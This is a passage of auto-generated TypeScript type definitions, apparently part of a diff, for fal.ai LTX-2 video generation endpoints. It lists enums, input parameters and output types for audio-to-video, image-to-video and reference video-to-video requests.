InputFalAiLtx2322BDistilledAudioToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoSize] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledAudioToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledAudioToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledAudioToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledAudioToVideoLoraSchedulerEnum] + +export type InputFalAiLtx2322BDistilledAudioToVideoLora = { + /** + * @description Audio conditioning strength. Values below 1.0 will allow the model to change the audio, while a value of exactly 1.0 will use the input audio without modification. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description The prompt to generate the video from. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Optional URL of an image to use as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledAudioToVideoLoraVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledAudioToVideoLoraAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledAudioToVideoLoraVideoOutputTypeEnumKey + /** + * @description When enabled, the number of frames will be calculated based on the audio duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The size of the generated video. Use 'auto' to match the input image dimensions if provided. + * @default landscape_16_9 + */ + video_size?: + | ImageSize868205B7 + | InputFalAiLtx2322BDistilledAudioToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description Whether to preprocess the audio before using it as conditioning. + * @default true + * @type boolean | undefined + */ + preprocess_audio?: boolean + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledAudioToVideoLoraCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledAudioToVideoLoraVideoQualityEnumKey + /** + * @description The URL of the audio to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledAudioToVideoLoraSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number +} + +export type VideoFileF3791054 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledAudioToVideoLora = { + /** + * @description The generated video. + * @example {"file_name":"ltx-2-a2v-output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/ltx-2-a2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileF3791054 + /** + * @description The prompt used for the generation. + * @example A woman speaks to the camera + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 175932751 + * @type integer + */ + seed: number +} + +export type ImageSize6Fa65F8A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledImageToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoAccelerationEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoVideoSize)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoVideoSize] + +export const inputFalAiLtx2322BDistilledImageToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoInterpolationDirectionEnum = + { + forward: 'forward', + backward: 'backward', + } as const + +export type InputFalAiLtx2322BDistilledImageToVideoInterpolationDirectionEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoInterpolationDirectionEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoInterpolationDirectionEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoSchedulerEnum] + +export type InputFalAiLtx2322BDistilledImageToVideo = { + /** + * @description The URL of the image to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledImageToVideoVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledImageToVideoAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledImageToVideoVideoOutputTypeEnumKey + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize6Fa65F8A + | InputFalAiLtx2322BDistilledImageToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledImageToVideoCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledImageToVideoVideoQualityEnumKey + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The direction to interpolate the image sequence in. 'Forward' goes from the start image to the end image, 'Backward' goes from the end image to the start image. + * @default 'forward' + * @type string | undefined + */ + interpolation_direction?: InputFalAiLtx2322BDistilledImageToVideoInterpolationDirectionEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledImageToVideoSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number +} + +export type VideoFile56141Cf4 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledImageToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":257,"url":"https://v3b.fal.media/files/b/0a88289e/CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","content_type":"video/mp4","duration":10.28,"fps":25,"width":1248} + * @type object + */ + video: VideoFile56141Cf4 + /** + * @description The prompt used for the generation. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 866232447 + * @type integer + */ + seed: number +} + +export type ImageSizeA09Bba58 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledImageToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoSize] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraInterpolationDirectionEnum = + { + forward: 'forward', + backward: 'backward', + } as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraInterpolationDirectionEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraInterpolationDirectionEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraInterpolationDirectionEnum] + +export const inputFalAiLtx2322BDistilledImageToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledImageToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledImageToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledImageToVideoLoraSchedulerEnum] + +export type InputFalAiLtx2322BDistilledImageToVideoLora = { + /** + * @description The URL of the image to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BDistilledImageToVideoLoraVideoWriteModeEnumKey + /** + * @description The acceleration level to use. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BDistilledImageToVideoLoraAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BDistilledImageToVideoLoraVideoOutputTypeEnumKey + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSizeA09Bba58 + | InputFalAiLtx2322BDistilledImageToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BDistilledImageToVideoLoraCameraLoraEnumKey + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BDistilledImageToVideoLoraVideoQualityEnumKey + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The direction to interpolate the image sequence in. 'Forward' goes from the start image to the end image, 'Backward' goes from the end image to the start image. + * @default 'forward' + * @type string | undefined + */ + interpolation_direction?: InputFalAiLtx2322BDistilledImageToVideoLoraInterpolationDirectionEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BDistilledImageToVideoLoraSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number +} + +export type VideoFile7Ff4C9F7 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BDistilledImageToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":257,"url":"https://v3b.fal.media/files/b/0a88289e/CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","content_type":"video/mp4","duration":10.28,"fps":25,"width":1248} + * @type object + */ + video: VideoFile7Ff4C9F7 + /** + * @description The prompt used for the generation. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 866232447 + * @type integer + */ + seed: number +} + +export type ImageSize1298Eb3C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoAccelerationEnum = + { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoAccelerationEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoPreprocessorEnum = + { + depth: 'depth', + canny: 'canny', + pose: 'pose', + none: 'none', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoPreprocessorEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoPreprocessorEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoPreprocessorEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoSchedulerEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoSize)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoSize] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoQualityEnum = + { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', + } as const + +export type InputFalAiLtx2322BDistilledReferenceVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BDistilledReferenceVideoToVideoVideoQualityEnum)[keyof typeof 